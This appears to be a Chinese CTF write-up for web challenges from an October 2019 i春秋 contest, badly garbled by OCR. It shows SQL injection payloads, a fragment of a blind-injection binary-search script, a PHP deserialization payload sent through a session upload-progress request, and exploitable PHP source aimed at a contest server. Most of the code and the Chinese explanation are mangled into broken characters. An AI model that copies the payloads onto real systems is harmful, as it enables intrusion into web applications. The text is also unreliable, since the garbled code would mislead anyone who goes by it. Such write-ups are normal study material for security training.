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1.easyphp

C Y © F===| view-source:120.55.43.255:13005/show.php?img=aGludC5waHA=
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<"php
error_reporting (0);
Fiflag iz in flagz.php
class hint{
public $file="";
function __destruct (i {
if (lempty (fthiz—>file)) {
if (strchr ($this=-» file,"\\"J===false %& =strchr($thi=—>file, "/ J===false)
show_source(dirname (_ _FILE 3.7 /7. $this -»file);
elze die( Wrong filename. )
H
function __wakeup () { $thi=z-» file=" index.php’: !}

public function _toString () {return *7 1}
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2. calculate1, 2
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calculate

Answer the questions for 10 times and you can get flag.

You Have answered 0i5€questions;

999%279= | || send! |

Bwpll M T 4, @R T Al Hseleniumiz & A R 345 & chromedriveri#E 47 1073238

3. babysql

€ - C (0 @ F==|120.55.43.255:13004/login.php - %+ O CC
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Member Login

USERNAME

LOGIN

Member Login




‘admin'or 1#

LOGIN

BE168

2 JalliXadmin'orderby 1# 2|3, HF|48}

Member Logir

sssass

BHFECAS, @it fuzzkBlunion selectr] A, B HIR B 55 — 3N EFBIA 4, HEMNEAARTIT. Zidorder byH
£, payload=admin’union select 1,2,'c’ order by 3#. KM 4F/K/NFEFHELR, B2, JKTFHELH Emadmin.
EH UL 5 H AR



print(i)

end 31

head 127

while (head end)
mid (end head)
print(mid)
datal flag (mid)
print(datal)
sql . (datal.encode( )))
s requests.session()
data {

sql,

)i
print(sql)
result requests.post(url=url, data=data)

if in result.text:
head mid
else:

end mid

flag = flag (end)

print( flag)
print( flag)

XEEEFERRNE, FHAIMySQLELB KN —AX 5.
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4. best language

<?php

error_reporting (0)

highlight filel__FILE )

include " zecret_kev.php’ ) ;

if (lemptw (3_GET ["name”1i)

farr = array($_GET["name”], fzecret_key) :

fdata = “"Welcome my friemd %s";

foreach ($arr az $k => $ |
$data = sprintf(fdata, fu);

1

gecho  fdata:

1

if{ ($zecret_key) === $_GET[ key 1)1
echo “<hrirvou  get the Lkev<br:”;
ffirst="aa" :
fooo=" amdin ;
$i=1;
foreach($ GET as Jkey => $walus) |
if (fi===1)
{
i+,
$fkey = Fwvalue;



i
elzse {break;}

1
if ($first==="u")
{
gcho “<hrrshi fu AEARr:";
$file="phpinfo.php” ;
$func = $_GET[ function’];
call_uszer_func ($fune, §_GET)
if (fooo==="Flag")
{
echo “<brixtgltqltaltqltgl<br:”;
require (" class.php’ ) ;
include ($file) :
1
1
elze
{
echo “Can wou hack me?<br>”;
1

BERBMARBDE T, F—DR: R %sBIA Sl
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BEAR: REEG, BRSHENBANZREBLRNERE, KI T extract,
BEBIfEZ, W7 LA SR8 18 Elclass.phplhd .

$method;

nstruct
»method

fmethod;

»args = %args;

e https://blog.csdn.net/qg_4:
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POST /class.php HTTR/.1

Host: 120.85.43.255:13006

Content-Length: 519

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

Origin: null

Content-Type: multipart/form-data;
boundary=----WebKitFormBoundary8C5agCozBdrsSdaX

UserAgent: Mozilla/.0 (Windows NT 10.0; WinB4; x64) AppleWehKit/537.36 (KHTML,
like Gecko) Chromef77.0.3865.120 Safari/a37.36

Accept:

text/html application/xhtml+xml,application/xml;q=0.9 imagefwebp image/apng **, ¢=0.8,
application/signed-exchange,v=h3

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9,zh-TW,q=0.8

Cookie: PHPSESSID=3lbcjdsal gkved3beghkIrbdocO

Connection: close

—————— WebKitFormBoundary8C5agCozBdrsSdaX
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

—————— WebKitFormBoundary8C5agCozBdrsSdax
Content-Disposition: form-data;

name="|0:7:\"Monitor\": 1:{s:4:\"test\", 0.7 V" Welcomel:2:{s:3:\"ab\", O:4:\"Comel: 2:{s:6:

VmethodV'; s 7 \"get_din"; sid:\"args\ a1 {0, s 4300 Fvarfweewdhtmi
Ms:3:Wvan";s:7:\"success\’ )" filename=""
Content-Type: application/octet-stream

------ WebkitFormBoundary8C5agCozBdrsSdak--

B Kfag, ZJEHMHZ AT SRS K flag.

5.easy_encode

A
-

HTTR/1.1 200 COK

Date: Sat, 26 Oct 2019 10:54:52 GMT

Server: Apache/2.4.18 (Ubuntu)

Expires: Thu, 19 Mov 1981 08:52:00 GMT
Cache-Caontrol: no-store, no-cache, must-revalidate
Pragma: no-cache

Vary: Accept-Encoding

Content-Length: 517

Connection: close

Content-Type: text/html; charset=UTF-8

Array
(
[0]->.
[]=>..
[2] => This_1s_F1aG
[3] => class.php
[4] == cxc.php
[5] => index.php
[6] => mmm.php
[7]1 => phpinfo.php
[8] => secret_key.php
[9] == sess_3sihklcrifSkap91buBpvnurtd
[10] => sess_58mqBq2adh82f98su17jql5a%6
[11] == sess_SkgrcTkn1rcp2 p0kouqgs9o5frd
[12] => sess_686k04rngia35a2 olvygBq3jir0
[13] => sess_gcifelqmjkaj01lvpOulometbal
[14] => sess_oe2jdnfmngmrubuidkinuk5gfé
[15] => sess_s2TuuBeBedjfelunoacnhdSmeh3
)

<hbr=file:success<hr=



111 100

105 110
111 100
5 0

0o o
0o 115
(=] 1

112
101

14

1d

100

117 116

218 8
oo

1

115

[ I it s s s ) e }

115
114

218
114

102
111
101
218

115
105
114
o0

60
0

0
T4
132
132
131
233
116

218

100
=

97 142

1a0
100
1a0
101
101

131

= -

169

101
3

1on

—_
—_

[N R TE)

1og
132
132
180

124

= -
—_
o

[ el e s e s e el e e e s e }
J
=

FE102 HREAE127 T Zik T asciigmidi i, H53flag

oMo oo oo Mo o oMo o= —~ o000 o000
—_
o

[ i) |
[=a

— = 0 O D
— o =] Liul
(=]

114

el
114



	i春秋网络内生安全试验场CTF夺旗赛（第二季）部分wp
	i春秋 2019-10月CTF答题夺旗赛 web部分wp


